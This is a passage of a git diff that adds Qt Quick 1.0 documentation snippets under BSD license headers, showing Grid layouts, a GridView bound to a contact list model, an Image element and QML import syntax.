+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+ spacing: 6
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
diff --git a/doc/src/snippets/declarative/grid/grid-no-spacing.qml b/doc/src/snippets/declarative/grid/grid-no-spacing.qml
new file mode 100644
index 00000000..0313ff83
--- /dev/null
+++ b/doc/src/snippets/declarative/grid/grid-no-spacing.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
diff --git a/doc/src/snippets/declarative/grid/grid-spacing.qml b/doc/src/snippets/declarative/grid/grid-spacing.qml
new file mode 100644
index 00000000..9665c66e
--- /dev/null
+++ b/doc/src/snippets/declarative/grid/grid-spacing.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 112; height: 112
+ color: "#303030"
+
+ Grid {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ columns: 2
+ spacing: 6
+
+ Rectangle { color: "#aa6666"; width: 50; height: 50 }
+ Rectangle { color: "#aaaa66"; width: 50; height: 50 }
+ Rectangle { color: "#9999aa"; width: 50; height: 50 }
+ Rectangle { color: "#6666aa"; width: 50; height: 50 }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/grid/grid.qml b/doc/src/snippets/declarative/grid/grid.qml
new file mode 100644
index 00000000..e3ae645c
--- /dev/null
+++ b/doc/src/snippets/declarative/grid/grid.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Grid {
+ columns: 3
+ spacing: 2
+ Rectangle { color: "red"; width: 50; height: 50 }
+ Rectangle { color: "green"; width: 20; height: 50 }
+ Rectangle { color: "blue"; width: 50; height: 20 }
+ Rectangle { color: "cyan"; width: 50; height: 50 }
+ Rectangle { color: "magenta"; width: 10; height: 10 }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/gridview/ContactModel.qml b/doc/src/snippets/declarative/gridview/ContactModel.qml
new file mode 100644
index 00000000..2eaa3e0f
--- /dev/null
+++ b/doc/src/snippets/declarative/gridview/ContactModel.qml
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+ListModel {
+
+ ListElement {
+ name: "Jim Williams"
+ portrait: "pics/portrait.png"
+ }
+ ListElement {
+ name: "John Brown"
+ portrait: "pics/portrait.png"
+ }
+ ListElement {
+ name: "Bill Smyth"
+ portrait: "pics/portrait.png"
+ }
+ ListElement {
+ name: "Sam Wise"
+ portrait: "pics/portrait.png"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/gridview/gridview.qml b/doc/src/snippets/declarative/gridview/gridview.qml
new file mode 100644
index 00000000..76a353ba
--- /dev/null
+++ b/doc/src/snippets/declarative/gridview/gridview.qml
@@ -0,0 +1,163 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![import]
+import QtQuick 1.0
+//![import]
+
+Rectangle {
+ width: childrenRect.width; height: childrenRect.height
+
+Row {
+
+//![classdocs simple]
+GridView {
+ width: 300; height: 200
+
+ model: ContactModel {}
+ delegate: Column {
+ Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter }
+ Text { text: name; anchors.horizontalCenter: parent.horizontalCenter }
+ }
+}
+//![classdocs simple]
+
+
+//![classdocs advanced]
+Rectangle {
+ width: 300; height: 200
+
+ Component {
+ id: contactDelegate
+ Item {
+ width: grid.cellWidth; height: grid.cellHeight
+ Column {
+ anchors.fill: parent
+ Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter }
+ Text { text: name; anchors.horizontalCenter: parent.horizontalCenter }
+ }
+ }
+ }
+
+ GridView {
+ id: grid
+ anchors.fill: parent
+ cellWidth: 80; cellHeight: 80
+
+ model: ContactModel {}
+ delegate: contactDelegate
+ highlight: Rectangle { color: "lightsteelblue"; radius: 5 }
+ focus: true
+ }
+}
+//![classdocs advanced]
+
+//![delayRemove]
+Component {
+ id: delegate
+ Item {
+ GridView.onRemove: SequentialAnimation {
+ PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: true }
+ NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+ PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: false }
+ }
+ }
+}
+//![delayRemove]
+
+//![highlightFollowsCurrentItem]
+Component {
+ id: highlight
+ Rectangle {
+ width: view.cellWidth; height: view.cellHeight
+ color: "lightsteelblue"; radius: 5
+ x: view.currentItem.x
+ y: view.currentItem.y
+ Behavior on x { SpringAnimation { spring: 3; damping: 0.2 } }
+ Behavior on y { SpringAnimation { spring: 3; damping: 0.2 } }
+ }
+}
+
+GridView {
+ id: view
+ width: 300; height: 200
+ cellWidth: 80; cellHeight: 80
+
+ model: ContactModel {}
+ delegate: Column {
+ Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter }
+ Text { text: name; anchors.horizontalCenter: parent.horizontalCenter }
+ }
+
+ highlight: highlight
+ highlightFollowsCurrentItem: false
+ focus: true
+}
+//![highlightFollowsCurrentItem]
+
+//![isCurrentItem]
+GridView {
+ width: 300; height: 200
+ cellWidth: 80; cellHeight: 80
+
+ Component {
+ id: contactsDelegate
+ Rectangle {
+ id: wrapper
+ width: 80
+ height: 80
+ color: GridView.isCurrentItem ? "black" : "red"
+ Text {
+ id: contactInfo
+ text: name + ": " + number
+ color: wrapper.GridView.isCurrentItem ? "red" : "black"
+ }
+ }
+ }
+
+ model: ContactModel {}
+ delegate: contactsDelegate
+ focus: true
+}
+//![isCurrentItem]
+
+}
+
+}
diff --git a/doc/src/snippets/declarative/gridview/pics/portrait.png b/doc/src/snippets/declarative/gridview/pics/portrait.png
new file mode 100644
index 00000000..fb5052ad
--- /dev/null
+++ b/doc/src/snippets/declarative/gridview/pics/portrait.png
Binary files differ
diff --git a/doc/src/snippets/declarative/image.qml b/doc/src/snippets/declarative/image.qml
new file mode 100644
index 00000000..df1bd977
--- /dev/null
+++ b/doc/src/snippets/declarative/image.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Image {
+ source: "pics/qtlogo.png"
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/imports/best-practices.qml b/doc/src/snippets/declarative/imports/best-practices.qml
new file mode 100644
index 00000000..f3218da3
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/best-practices.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0
+import QtWebKit 1.0
+import "subdirectory"
+import "script.js"
+//! [imports]
+
+Item {
+}
diff --git a/doc/src/snippets/declarative/imports/chart.qml b/doc/src/snippets/declarative/imports/chart.qml
new file mode 100644
index 00000000..ff8c96e7
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/chart.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import Charts 1.0
+//! [import]
+
+Item {
+}
diff --git a/doc/src/snippets/declarative/imports/installed-module.qml b/doc/src/snippets/declarative/imports/installed-module.qml
new file mode 100644
index 00000000..b07d22ca
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/installed-module.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0
+import com.nokia.qml.mymodule 1.0
+//! [imports]
+
+Item {
+}
diff --git a/doc/src/snippets/declarative/imports/merged-named-imports.qml b/doc/src/snippets/declarative/imports/merged-named-imports.qml
new file mode 100644
index 00000000..5bd7264b
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/merged-named-imports.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0 as Nokia
+import Ovi 1.0 as Nokia
+//! [imports]
+
+Item {
+}
diff --git a/doc/src/snippets/declarative/imports/named-imports.qml b/doc/src/snippets/declarative/imports/named-imports.qml
new file mode 100644
index 00000000..c183b2d0
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/named-imports.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
